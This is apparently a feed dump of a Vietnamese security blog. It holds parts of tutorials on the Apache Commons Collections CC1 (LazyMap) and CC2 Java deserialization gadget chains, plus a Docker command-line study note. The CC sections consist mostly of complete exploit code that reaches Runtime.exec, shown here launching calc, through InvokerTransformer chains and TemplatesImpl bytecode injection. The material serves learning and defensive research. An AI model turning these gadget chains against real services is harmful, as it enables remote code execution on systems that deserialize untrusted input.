import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.PriorityQueue;

public class cc2 {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(
                new ConstantTransformer<>(templates),
                invokerTransformer
        );
        //invokerTransformer.transform(templates);
        TransformingComparator transformingComparator = new TransformingComparator( chainedTransformer);
        //transformingComparator.compare(null, null);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        serialize(priorityQueue);
        unserialize("ser.bin");

    }
}

Để giải quyết vấn đề này, chúng ta sẽ set giá trị vào sau khi Queue đã add xong:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class test {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Test");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field _nameField = templates.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates, "notNull");
        Field _classField = templates.getClass().getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates, null);
        Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{bytes});
        Field tfactoryField=templates.getClass().getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        Transformer[] faketransformer=new Transformer[]{new ConstantTransformer(1)};
        InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer<>(templates),
                invokerTransformer
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformer);
        TransformingComparator transformingComparator = new TransformingComparator( chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class class=ChainedTransformer.class;
        Field iTransformersField = class.getDeclaredField("iTransformers");
        iTransformersField.setAccessible(true);
        iTransformersField.set(chainedTransformer,transformers);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
}

Máy tính đã được bật lên.

Lời kết

Mình đã hoàn thành cc2 theo hai hướng là ChainedTransformer và hướng set giá trị cho queue. Nếu thuần cc2 thì sẽ theo hướng queue, kiến thước khác với cc1 nên các bạn có thể sẽ thấy ngợp lúc đầu, mình cũng đã giải thích kĩ ở phần đó, hi vọng sẽ giúp các bạn học nhanh hơn và không cảm thấy khó khăn.
Lúc đầu phân tích mình cũng thấy khó hiểu và betak, nhưng sau mình cố gắng ngồi lại để phân tích thì dần dần cũng thấy ổn hơn, mong các bạn không như mình :).

Chúc các bạn học tốt~

]]> Java Deserialization Java Deserialization Commons Collections https://rayinaw.github.io/2022/12/16/CommonsCollections2/#disqus_thread Phân tích chuỗi Commons Collections 1 với LazyMap https://rayinaw.github.io/2022/12/15/CommonsCollections1-LazyMap/ https://rayinaw.github.io/2022/12/15/CommonsCollections1-LazyMap/ Wed, 14 Dec 2022 20:48:35 GMT <p>Trong bài viết trước mình đã phân tích lỗ hổng deserialization của TransformMap trong chuỗi CC1, và trong bài viết này mình sẽ thực hiện Trong bài viết trước mình đã phân tích lỗ hổng deserialization của TransformMap trong chuỗi CC1, và trong bài viết này mình sẽ thực hiện deserialization theo hướng của lớp LazyMap.

Phân tích

InvokeTransformer

Phần đuôi của chuỗi này cũng tương tự như chuỗi trước là InvokerTransformer, mình sẽ không phân tích lại lớp này. Như bài viết trước đã nói chúng ta cần tìm lớp gọi đến phương thức transform của lớp InvokerTransformer.

Ctrl + Chuột trái click vào phương thức transform

Phương thức này được sử dụng ở LazyMap.get()

Xem factory là gì nào~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public static Map decorate(Map map, Factory factory) {
    return new LazyMap(map, factory);
}

/**
 * Factory method to create a lazily instantiated map.
 * 
 * @param map  the map to decorate, must not be null
 * @param factory  the factory to use, must not be null
 * @throws IllegalArgumentException if map or factory is null
 */
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

//-----------------------------------------------------------------------
/**
 * Constructor that wraps (not copies).
 * 
 * @param map  the map to decorate, must not be null
 * @param factory  the factory to use, must not be null
 * @throws IllegalArgumentException if map or factory is null
 */
protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = FactoryTransformer.getInstance(factory);
}

/**
 * Constructor that wraps (not copies).
 * 
 * @param map  the map to decorate, must not be null
 * @param factory  the factory to use, must not be null
 * @throws IllegalArgumentException if map or factory is null
 */
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

Lớp này sử dụng Overloading cho hàm tạo và hàm decorate, và ở đây có kiểu truyền vào cho factory là Transformer hoặc Factory, do đó chúng ta có thể truyền vào factory một Transformer rồi cho factory.transform(Runtime.getRuntime) như chain trước.

Ở bài viết trước, có một vấn đề gặp phải là lớp Runtime không implements serialize và không thể điều khiển được tham số ở trong hàm setValue. Và chúng ta đã thấy được cái tiện lợi của lớp ChainedTransformer và ConstantTransformer. Nên mình sẽ sử dụng lại đoạn này để bỏ đi một vài bước không cần thiết.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        lazyMap.get(null);
    }
}

Đã mở được máy tính. Tuy nhiên như thế vẫn chưa đủ, chúng ta cần tìm lớp nào gọi đến phương thức LazyMap.get(). Và với chuỗi này, chúng ta sẽ tập trung đến lớp AnnotationInvocationHandler.

AnnotationInvocationHandler.invoke()

Trong hàm invoke của AnnotationInvocationHandler có dòng thực hiện phương thức get Object var6 = this.memberValues.get(var4);:

  • this.memberValues ở đây là một map, chúng ta có thể cast nó sang LazyMap để lợi dụng LazyMap.get().
  • Như bài viết trước đã nói, lớp này là lớp kiểu default và constructor cũng là default nên chúng ta phải khởi tạo nó bằng Reflection.

Đoạn code khởi tạo một AnnotationInvocationHandler, chỉ dừng ở việc khởi tạo và mình chưa làm những bước tiếp theo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), 
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //lazyMap.get(null);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Object.class);
        aihConstructor.setAccessible(true);
        Object aihObject = aihClassConstructor.newInstance(Override.class, lazyMap);
        //InvocationHandler aihObject = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
    }
}

Lớp này đã implements Serializable và có phương thức readObject(). Nên điều mà chúng ta cần tiếp theo là làm sao để lớp này thực hiện hàm invoke() trong phương thức readObject(). Và để thực hiện điều này chúng ta có thể sử dụng Proxy động.

Dynamic Proxy

Các phương thức gốc của lớp gốc đã được ghi đè bằng proxy, khi chúng ta thực hiện một phương thức của lớp đó thông qua proxy, proxy sẽ gọi đến hàm invoke rồi invoke phương thức của lớp này. Để hiểu thêm thì các bạn hãy đọc thêm về Dynamic Proxy trong Java.

1
2
3
4
//Tạo một InvocationHandler để điều khiển phương thức của lớp gốc.
InvocationHandler aihObject = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
//Tạo một proxyMap để gọi phương thức
Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);

Bây giờ khi chúng ta gọi bất kì phương thức nào của proxyMap tương ứng với phương thức của lazyMap, nó sẽ gọi đến phương thức invoke và thực thi lazyMap.get() như mình đã phân tích ở trên.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class test {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), 
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //lazyMap.get(null);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        InvocationHandler aihInstance = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);
        Set set = proxyMap.entrySet();
    }
}

Chuỗi hoàn chỉnh

Để ý một chút ở hàm readObject của lớp AnnotationInvocationHandler

this.memberValues là LazyMap chúng ta có thể truyền vào, và nó gọi đến entrySet(). Do đó khi readObject của lớp AnnotationInvocationHandler thực thi chúng ta có thể kích hoạt câu lệnh calc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class test {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        //lazyMap.get(null);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        InvocationHandler aihInstance = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(aihClass.getClassLoader(), new Class[]{Map.class},aihInstance);
        Object aihProxyObject = aihConstructor.newInstance(Override.class, proxyMap);
        serialize(aihProxyObject);
        unserialize("ser.bin");
    }
}

Máy tính đã bật lên và chuỗi của chúng ta đã được xây dựng thành công~

Lời kết

Proxy động là một kiến thức khá phức tạp với những bạn mới bắt đầu, mình khuyên các bạn chỉ cần học và hiểu cách sử dụng, đừng đào sâu vào code gốc bởi vì đó là một lượng kiến thức lớn do những người đi trước đã viết ra.
Khi khởi tạo Proxy động cần đến class loader các bạn chỉ cần biết tải lớp nào cần class loader nào là đủ hoặc cứ cho đại null, không đúng thì abc.class.getClassLoader(), không cần tìm hiểu sâu vào nó.

Chúc các bạn học tốt~

]]> Java Deserialization Java Deserialization Commons Collections https://rayinaw.github.io/2022/12/15/CommonsCollections1-LazyMap/#disqus_thread Một bản ghi chép nhỏ về Docker https://rayinaw.github.io/2022/12/03/docker-learning/ https://rayinaw.github.io/2022/12/03/docker-learning/ Fri, 02 Dec 2022 18:13:09 GMT <h1 id="Docker-Command-Line"><a href="#Docker-Command-Line" class="headerlink" title="Docker Command Line"></a>Docker Command Line</h1><h2 i Docker Command Line

Thao tác với mỗi lần chạy:

1
2
3
docker run busybox:1.24 echo "hello world!"

docker run busybox:1.24 ls /

-i và -t flag:

Flag -i dùng để mở một tương tác với container, giữ cho nó tiếp tục được mở để thực thi những tác vụ tiếp.
Flag -t dùng để tạo một pseudo-TTY(TTY tương tự như shell command trong linux), có nghĩa là tạo một shell của image rồi gắn vào terminal của mình.

1
2
3
4
5
6
7
docker run -i -t busybox:1.24
hay
docker run -it busybox:1.24
Kết quả:
> docker run -it busybox:1.24
/ # ls
bin   dev   etc   home  proc  root  sys   tmp   usr   var

Docker container và -d flag:

Khi chạy một cách bình thường, nó sẽ thực thi lệnh trực tiếp trên terminal của chúng ta (run container in foreground). Nhưng nếu chúng ta muốn nó không chạy trên terminal mà chạy ở trong container (run container in background).
Ví dụ khi chạy lệnh sleep 1000:

1
2
3
4
5
6
7
8
Không chạy với tag -d:
docker run  busybox:1.24 sleep 1000
nó sẽ sleep trực tiếp trên terminal(mở terminal mới đi bro :P)
Chạy với tag -d:
docker run -d busybox:1.24 sleep 1000
> docker ps
CONTAINER ID   IMAGE          COMMAND        CREATED         STATUS         PORTS     NAMES
4b69615931bb   busybox:1.24   "sleep 1000"   7 seconds ago   Up 6 seconds             eloquent_newton

Để xem container đang chạy gõ docker ps(chạy trong background hoặc trên terminal), với container đã dừng gõ docker ps -a.
Để không lưu lại container khi kết thúc docker container chúng ta dùng tag –rm, khi đó nếu quy trình kết thúc, docker sẽ tự động xóa container mà không lưu vào docker ps -a.

–name flag:

Đặt tên cho container mỗi lần chạy.

1
docker run --name hello_world busybox:1.24

-p flag:

-p host_port:container_port : map cổng của container sang cổng máy thật. Chúng ta có thể map nhiều cặp port một lần bằng cách viết liên tiếp những cặp đó -p 8888:8080 80:4444.
Ví dụ với tomcat server, tomcat là một open source web server thực thi Java servlet. Tomcat image này chạy ở port 8080:

1
docker run -it -p 8888:8080 tomcat:8.0

Đợi một lát để nó pull tomcat:8.0 về.
Sau khi tải xong truy cập http://localhost:8888/ trên browser. Tomcat đã chạy trên port 8888.
Mình sẽ giải thích một chút:

  • Tomcat này là một container (xem như là một máy ảo cho dễ hình dung nhưng hầu như không phải nhé ^^), nó chạy trên port 8080 của máy chủ tomcat này.
  • Sau khi map qua cổng của localhost, cổng 8888 bây giờ sẽ như là cổng 8080 của máy chủ tomcat vậy.

Docker log:

Khi chạy một server qua terminal, nhật kí sẽ được ghi lại trực tiếp ở trên terminal. Khi chạy server qua container background để xem nhật kí của server chúng ta sử dụng câu lệnh docker logs

1
2
3
4
5
6
7
8
9
10
> docker run -it -d -p 8888:8080 tomcat:8.0
4cc4583095b59189adaa0dc202944d5cdd5968df403584a84b26d6e57c585bd7
pwn@DESKTOP-AC6UABE:pts/3->/home/pwn (0)
> docker logs 4cc4583095b59189adaa0dc202944d5cdd5968df403584a84b26d6e57c585bd7
Using CATALINA_BASE:   /usr/local/tomcat
Using CATALINA_HOME:   /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp
Using JRE_HOME:        /docker-java-home/jre
......phần log ở dưới dài nên mình cắt......
Hoặc lấy id từ docker ps rồi docker logs <id>

Docker pull:

Câu lệnh này dùng để lấy image từ trên hub của docker về. Ví dụ:

1
2
docker pull mysql:lastest
docker pull nginx

Docker commit:

Lệnh docker commit dùng để lưu những thay đổi trong file system của một Docker container vào image mới.
Syntax: docker commit container_id repository_name:tag

Docker build command

Câu lệnh docker build dùng để build một image từ một Dockerfile và context (nơi chứa những thứ như file php, java,… cần dùng để build). Hai thứ này được chứa trong cùng một folder, chúng ta gắn URL hoặc path để chỉ cho docker biết nơi chứa 2 cái này.
Systax:

1
2
3
docker build [OPTIONS] PATH
Ví dụ:
docker build -t image_name .
  • -t flag dùng để đặt tên cho image.
  • Dấu . để nói cho docker biết là tìm Dockerfile ở thư mục hiện tại, đây là path dẫn đến Dockerfile.

Docker inspect:

Mô tả thông tin low level của một container hay image.

1
2
3
4
> docker run -d busybox:1.24 sleep 100
0c06e0155702fcb6dc7969eac63f68d74f5781dbc6960461ee88dc3c15942ea9
pwn@DESKTOP-AC6UABE:pts/4->/home/pwn (0)
> docker inspect 0c06e0155702fcb6dc7969eac63f68d74f5781dbc6960461ee88dc3c15942ea9

Gỡ Image và Container:

Gỡ container:

  • Đầu tiên phải dừng container đang chạy: docker stop <id container>
  • Gõ docker ps -a để xem container đã dừng.
  • docker rm -f <id container đã dừng>, -f flag ở đây là cờ bắt buộc gỡ, nên xài để gỡ thuận tiện hơn.

Gỡ image:

  • docker rmi <tên image>

Docker Container’s Filesystem

Docker images và layers:

Một Docker images được xây dựng từ những layer. Mỗi layer đại diện cho mỗi lệnh trong Dockerfile, hay khi chạy lệnh bằng cách build thông qua Docker Commint Command ở phần sau.
Mỗi câu lệnh có thay đổi file của một container đều tạo ra một layer mới. Để dễ hình dung chúng ta cùng đi qua ví dụ sau(Lấy từ docs.docker.com):

1
2
3
4
5
6
FROM ubuntu:18.04
LABEL org.opencontainers.image.authors="org@example.com"
COPY . /app
RUN make /app
RUN rm -r $HOME/.cache
CMD python /app/app.py

Khi chạy file trên, nó sẽ tạo ra một Docker image mới có cấu hình theo các câu lệnh được chạy ở file trên. Câu lệnh LABEL không liên quan đến file hệ thống. Câu lệnh COPY thêm file ở thư mục chứa Dockerfile vào thư mục /app của container. Tuy nhiên nó chỉ COPY trong quá trình chạy, để viết thay đổi đó vào layer của một image mới chúng ta cần chạy lệnh RUN make /app, khi này một layer mới mới được tạo. RUN rm -r $HOME/.cache gỡ thư mục cache, câu lệnh RUN này sẽ tạo ra một layer mới. Câu lệnh CMD cuối cùng chỉ để chạy command python khi container đang chạy và không tạo layer mới.

Để xem các layers của một image chúng ta dùng lệnh docker image history <id>

Docker container và writable layer:

Docker container được tạo từ những docker image chỉ đọc hay không thay đổi được. Một docker container được tạo từ một image sẽ có thêm một lớp ở trên, lớp này được gọi là writable layerhay container layer. Mọi thay đổi trong container này sẽ được lưu vào lớp này.

Khi nghiên cứu tới đây, mình có một thắc mắc là như đã nói, khi tạo một container việc thay đổi trong container này chỉ thay đổi lớp writable, rồi một image là không thay đổi được vậy thì tại sao chúng ta có thể thay đổi file hệ thống khi chạy container?. Theo mình hiểu thì nó như này:

  • Khi chúng ta tạo một container, nó như là một máy mới được tạo ra vậy, chúng ta có thể thay đổi các file, folder trong máy mới này. Nó sẽ không ảnh hưởng gì đến các image cả vì nó riêng biệt mà.
  • Thế rồi writable đó để làm gì? Khi thay đổi một container chạy từ một image rồi lưu lại thành một image mới, người ta sẽ lưu lại quy trình theo từng bước khiến file hệ thống bị thay đổi để tạo quá trình build image mới này có trình tự, và chắc cũng dễ dàng hơn. Và khi này những bước thay đổi đó sẽ được lưu xuống lớp writable, nếu chúng ta commit thay đổi này, những cái thay đổi thực hiện ghi lại trong lớp writable này sẽ được lưu lại theo những layer mới xếp chồng lên những layer của image cũ.

Cách build một Docker image:

Có hai cách để build một docker image:

  • Commit những cái đã build, thay đổi trong một Docker container vào một image mới.
  • Viết một Dockerfile.
    Bây giờ chúng ta cùng đi cụ thể vào từng cách để build một docker image.

Build Docker Images by using Docker Commit Command:

Giả sử chúng ta chúng ta có một base image là một debian (hệ điều hành tương tự linux), khi run image này nó không có Git command. Bây giờ để thuận tiện hơn chúng ta tạo một image mới có cài sẵn Git dựa trên debian image kia để chúng ta không phải cài lại Git mỗi lần chạy. Khi đó chúng ta có ba bước để thực hiện như sau:

    1. Tạo một container từ base image
    1. Install Git pakage trong container.
    1. Commit thay đổi trong container đã làm.
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      # Pull và chạy debian
      docker run -it debian:jessie
      # Cài Git cho container này
      apt-get update && apt-get install --force-yes git
      # Commit thay đổi, gõ "docker ps -a" để lấy id của container này.
      docker commit ba638bca3016 rayinaw/debian:update
      # Trả về sha256:3e6332e9ae0a1597a25d213bf42b0592e3291969259d631c3eacc893f4735171
      Gõ docker images để thấy một image mới đã được tạo. Size nó lớn hơn debian cũ 100 mb, là dung lượng của git.
      Bây giờ chạy để test.
      docker run -it rayinaw/debian:update
      Gõ git trong terminal của debian chúng ta tạo, git đã được cài vào image mới thành công.

Build Docker Images by writing DockerFile:

Dockerfile là gì?

Dockerfile là một file văn bản chứa những lệnh user cung cấp để build các image một cách tự động từ Dockerfile. Tên của Dockerfile phải là Dockerfile với D viết hoa ở đầu.
Mỗi lệnh trong Dockerfile sẽ tạo một image layer mới đối với image này. Các lệnh sẽ chỉ định điều cần làm khi building image.
Khi building image, Docker sẽ thực hiện quy trình tương tự như việc chúng ta build bằng commit command. Docker sẽ build lần lượt từng layer, khi build xong ở trong lớp writable container, nó sẽ viết xuống image mới, sau đó remove container đó, rồi lần lượt theo trình tự đó cho đến khi build đủ các layer trong Dockerfile. Việc viết xuống image mình không biết nó lưu ở đâu, nếu muốn tìm hiểu các bạn có thể tìm hiểu thêm về Docker daemon.

Viết một Dockerfile:

Câu lệnh đầu tiên trong Dockerfile là câu lệnh FROM (viết hoa để phân biệt với from arguments), dùng để chỉ định base image.

Câu lệnh RUN:

  • Dùng để chỉ định câu lệnh thực thi khi chạy base image.
  • Câu lệnh RUN sẽ thực thi câu lệnh trong writable layer của container, sau đó commit container xuống image mới.
  • Image mới này sẽ được sử dụng cho bước tiếp theo trong Dockerfile. Vì vậy mỗi lần RUN lệnh, nó sẽ tạo ra một image layer mới.
    Ví dụ tương tự như cách build qua Docker commit:
    1
    2
    3
    4
    5
    6
    # Đặt tên file là Dockerfile nhé.
    # Lưu ý phiên bản ubuntu tạo phải được hỗ trợ, nếu không khi chạy lệnh update nó sẽ báo lỗi. Mình chưa biết fix nên không nói rõ nhé :).
    FROM ubuntu:20.04
    RUN apt-get update
    RUN apt-get install -y git
    RUN apt-get install -y vim
    Bây giờ truy cập vào folder chứa Dockerfile rồi gõ lệnh docker build -t ubuntu:own .

Viết gọn các câu lệnh trên:

1
2
3
4
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y \
git \
vim

Câu lệnh CMD:

Khác với RUN, câu lệnh CMD sẽ không thực thi trong quá trình build image, nó chỉ thực thi khi khởi chạy container của image đó.

Cái này nhìn ví dụ là dễ hiểu nhất:

1
2
3
4
5
FROM ubuntu:20.04
RUN apt-get -y update
RUN apt-get install -y git
RUN apt-get install -y vim
CMD ["ls", "/"]

Chạy docker build -t test . để build image.

Bây giờ chạy docker run test nó sẽ thực thi lệnh bên trong container này. Nó tương ứng với lúc chúng ta chạy lệnh docker run test ls /.

Nếu chúng ta chạy lệnh trực tiếp trên command line như docker run test echo "hello world" thì nó chỉ thực thi lệnh này và bỏ qua lệnh được viết ở CMD trong Dockerfile.

Câu lệnh ENTRYPOINT

Như ví dụ ở câu lệnh CMD, nếu chúng ta thực hiện docker run test echo "hello world" thì nó sẽ bỏ qua câu lệnh ls /.

Đó là điều mà ta không mong muốn nếu như build image mà lỡ có ai mới học chạy chương trình của ta không được :).

Do đó lệnh ENTRYPOINT giúp ta tránh điều đó:

1
2
3
4
5
FROM ubuntu:20.04
RUN apt-get -y update
RUN apt-get install -y git
RUN apt-get install -y vim
ENTRYPOINT ["ls", "/"]

Bây giờ nếu chạy docker run test echo "hello world" thì nó vẫn chỉ chạy câu lệnh của ENTRYPOINT mà không chạy câu lệnh đăng sau docker run bởi vì nó là điểm cuối rồi.

Docker cache:

1
2
3
4
FROM ubuntu:20.04
RUN apt-get -y update
RUN apt-get install -y git
RUN apt-get install -y vim

